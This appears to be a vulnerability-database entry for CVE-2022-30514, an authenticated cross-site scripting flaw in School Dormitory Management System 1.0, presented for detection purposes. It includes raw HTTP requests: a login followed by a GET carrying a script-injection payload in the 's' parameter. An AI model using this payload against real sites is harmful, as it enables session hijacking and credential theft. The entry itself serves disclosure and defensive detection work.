🔙 목록으로 돌아가기

CVE-2022-30514: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting

TitleSchool Dormitory Management System 1.0 - Authenticated Cross-Site Scripting
Authortess
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts into the application, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.07297
CVE IDCVE-2022-30514
CWE IDCWE-79
Tags cve cve2022 xss authenticated school_dormitory_management_system_project vuln

🔍 Vulnerability Description

School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability in admin/inc/navigation.php:126. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /dms/admin/login.php?f=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Content-Length: 31
Accept-Encoding: gzip

username=sTHacb&password=q1YsVJ
GET /dms/admin/?s=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-30514.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-30514.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A